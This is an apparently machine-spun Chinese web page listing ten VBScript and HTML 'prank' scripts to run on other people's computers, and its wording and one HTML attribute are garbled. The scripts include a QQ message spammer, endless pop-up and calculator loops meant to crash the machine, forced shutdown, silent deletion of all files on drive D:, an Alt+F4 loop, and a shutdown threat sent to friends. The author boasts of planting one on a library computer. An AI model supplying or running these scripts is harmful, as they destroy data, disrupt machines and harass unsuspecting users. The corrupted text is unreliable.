操作方式
- 01
【代码一】
你打开老友的聊天对话框,然跋文下在你QQ里老友的昵称，把下面代码里的xx替代一下，就可以自界说发送QQ信息到老友的次数(代码里的数字10改一下即可)。
代码如下：
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys"^v"
wsh.sendKeys i
wsh.sendKeys"%s"
next
wscript.quit
- 02
【代码二】
我就用这个程序放在黉舍藏书楼查询书刊的机械上，很多多少人都拿它没法子。
do
msgbox"You are foolish!"
loop
- 03
【代码三】
打开无数个计较器，直到死机。
set wsh=createobject("wscript.shell")
do
wsh.run"calc"
loop - 04
【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run"shutdown -f -s -t 00",0 ,true - 05
【代码五】
删除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run"cmd /c""del d:\*.* / f /q /s""",0 ,true - 06
【代码六】
不竭弹出窗口
while(1)
msgbox"哈哈 你被耍了！"
loop - 07
【代码七】
不竭按下alt+f4（开什么都封闭）。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys"%{F4}"
loop - 08
【代码八】
按500次回车 （以上代码在运行者的电脑上显示500个对话框。此中 do until s=500 ，500可以随意更改）。
dim s
do until s=500
s=s+1
msgbox"哥们，给我按500次回车吧",64
loop - 09
【代码九】
若是把他发给你的QQ老友 他不懂的话 若是不输我是猪 电脑就会在你设定的
时候内关机 我设置的是3分钟 只要输入就解除了 当然若是不输的话也有解除的法子。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe /c shutdown -r -t 180 -c""说我是猪，不说我是猪就一分钟关机，不信，试下···""",0 ,true
dim a
do while(a <>"我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) +"早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) +"哈哈哈哈，好乖" - 10
【代码十】
网页整人结果代码，想看结果，只要复制这下面的所有代码保留在text文件里，点窜文件后缀为txt就能看到结果了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人结果</title>
</head>
<body>
<a href="" onMou搜索引擎优化ver="alert('为什么把鼠标放到这里?');
alert('我不是说过不成以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到本身做错了？');
alert('那好，你要为此支出价格!');
alert('我要你在这里点足一千下......');
alert('什么？你起头有点悔怨了？');
alert('何须呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从此刻起头再点995下......');
alert('你的手起头累了吗?');
alert('什么？你已经没气力了？');
alert('你一向在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很欢快!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>
</body>
</html> - End
